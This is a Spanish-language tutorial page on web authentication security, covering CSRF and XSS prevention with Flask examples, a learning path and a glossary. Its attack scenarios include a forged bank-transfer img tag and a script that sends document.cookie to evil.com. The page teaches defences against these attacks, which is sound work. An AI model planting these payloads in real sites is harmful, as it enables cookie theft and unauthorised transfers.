5.3 Prevención de CSRF (Cross-Site Request Forgery) ​

Escenario de ataque: Iniciaste sesión en el sitio del banco bank.com, luego visitaste un sitio malicioso evil.com. La página de evil.com tiene este código:

html
<img src="https://bank.com/api/transfer?to=attacker&amount=10000" />

Tu navegador enviará esta solicitud con la Cookie del banco (solicitud entre dominios), provocando la transferencia de fondos.

Medidas de defensa:

  1. CSRF Token:
    • El servidor genera un Token aleatorio y lo coloca en el formulario.
    • Al enviar, verifica que el Token coincida.
python
from flask import session

@app.route("/api/transfer", methods=["POST"])
def transfer():
    # Verificar CSRF Token
    token = request.headers.get("X-CSRF-Token")
    if token != session.get("csrf_token"):
        return {"error": "CSRF Token inválido"}, 403

    # Ejecutar transferencia
    ...
  1. SameSite Cookie:
    • Configurar el atributo SameSite de la Cookie a Strict o Lax.
python
# Ejemplo Flask
app.config.update(
    SESSION_COOKIE_SAMESITE='Lax',  # o 'Strict'
    SESSION_COOKIE_SECURE=True      # Solo permitir HTTPS
)
  1. Usar JWT (sin Cookie):
    • JWT se almacena en localStorage, no se envía automáticamente, protección natural contra CSRF.
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

5.4 Prevención de XSS (Cross-Site Scripting) ​

Escenario de ataque: Un usuario malicioso ingresa en la sección de comentarios:

html
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

Si el sitio web renderiza directamente este contenido, las Cookies de otros usuarios serán robadas.

Medidas de defensa:

  1. Escapado de salida:
    • Convertir < en &lt;, > en &gt;.
python
import html

def render_comment(comment):
    # Escapar HTML
    safe_comment = html.escape(comment)
    return f"<div class='comment'>{safe_comment}</div>"
  1. Content Security Policy (CSP):
    • Configurar cabecera HTTP para restringir el origen de los scripts.
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
  1. HttpOnly Cookie:
    • Configurar el atributo HttpOnly de la Cookie, JavaScript no puede leerla.
python
app.config.update(
    SESSION_COOKIE_HTTPONLY=True
)
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

6. Resumen y ruta de aprendizaje ​

La autenticación es la "base" del sistema backend; dominarla permite construir aplicaciones seguras y confiables.

6.1 Conocimientos clave ​

ConocimientoImportanciaDificultadFrecuencia en práctica
Session + Cookie⭐⭐⭐⭐MediaAlta
JWT⭐⭐⭐⭐⭐BajaMuy alta
OAuth 2.0⭐⭐⭐⭐AltaAlta
Hash de contraseñas (bcrypt)⭐⭐⭐⭐⭐BajaMuy alta
Rate limiting y anti fuerza bruta⭐⭐⭐⭐⭐MediaMuy alta
Defensa CSRF⭐⭐⭐⭐MediaMedia
Defensa XSS⭐⭐⭐⭐BajaAlta

6.2 Ruta de aprendizaje ​

  1. Introducción (1-2 días):

    • Comprender autenticación vs autorización.
    • Dominar los principios de Session + Cookie.
    • Implementar una función simple de registro e inicio de sesión.
  2. Intermedio (1 semana):

    • Aprender los principios e implementación de JWT.
    • Implementar un sistema de autenticación basado en JWT.
    • Dominar el hash de contraseñas (bcrypt).
  3. Práctica (2-4 semanas):

    • Integrar OAuth 2.0 (inicio de sesión con WeChat, Google).
    • Implementar rate limiting y anti fuerza bruta.
    • Defender contra ataques comunes como CSRF, XSS.
  4. Profundización (continuo):

    • Aprender RBAC (Control de Acceso Basado en Roles).
    • Investigar SSO (Inicio de Sesión Único).
    • Explorar Zero Trust Architecture (Arquitectura de Confianza Cero).

6.3 Recursos recomendados ​

  • Estándares:
    • RFC 6749 (OAuth 2.0)
    • RFC 7519 (JWT)
  • Artículos:
    • JWT.io: https://jwt.io/
    • OAuth 2.0 Simplified: https://oauth.net/2/
  • Herramientas:
    • jwt.io (depuración de JWT en línea)
    • Postman (pruebas de API)

7. Glosario ​

TérminoNombre completoExplicación
AuthNAuthenticationAutenticación. Confirma "quién eres" (ej. verificar identidad con contraseña).
AuthZAuthorizationAutorización. Confirma "qué puedes hacer" (ej. solo el administrador puede eliminar).
Session-Sesión. Información de estado del usuario almacenada en el servidor.
Cookie-Galleta. Pequeños datos almacenados en el navegador, se envían automáticamente en cada solicitud.
JWTJSON Web TokenToken Web JSON. Un esquema de autenticación sin estado, compuesto por Header, Payload y Signature.
OAuth 2.0-Autorización abierta. Marco estandarizado para inicio de sesión con terceros (ej. "Iniciar con WeChat").
SSOSingle Sign-OnInicio de sesión único. Iniciar sesión una vez para acceder a múltiples aplicaciones (ej. cuenta de Google para todos los servicios de Google).
RBACRole-Based Access ControlControl de acceso basado en roles. Decide los permisos según el rol del usuario (ej. admin, user).
CSRFCross-Site Request ForgeryFalsificación de solicitud entre sitios. El atacante induce al usuario a enviar solicitudes maliciosas (ej. usar tu Cookie para transferir fondos).
XSSCross-Site ScriptingSecuencias de comandos entre sitios. El atacante inyecta scripts maliciosos en la página web (ej. robar Cookies).
bcrypt-Algoritmo de hash de contraseñas. Un algoritmo de hash lento, diseñado específicamente para almacenamiento de contraseñas, anti fuerza bruta.
Access Token-Token de acceso. Token de corta duración, usado para acceder a APIs.
Refresh Token-Token de actualización. Token de larga duración, usado para obtener un nuevo Access Token.
Scope-Ámbito de permisos. Concepto en OAuth 2.0, indica los permisos solicitados por la aplicación de terceros (ej. leer información del usuario).
PKCEProof Key for Code ExchangeClave de prueba para intercambio de código. Extensión de OAuth 2.0 para mejora de seguridad en clientes públicos (ej. SPA).
Edit this page on GitHub
Pager
Página anteriorSerialización: la "traducción" de datos
Página siguienteConcurrencia, asincronía y multihilo

京ICP备2026002630号-1 | 京公网安备11010602202215号

本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC BY-NC-SA 4.0) 进行许可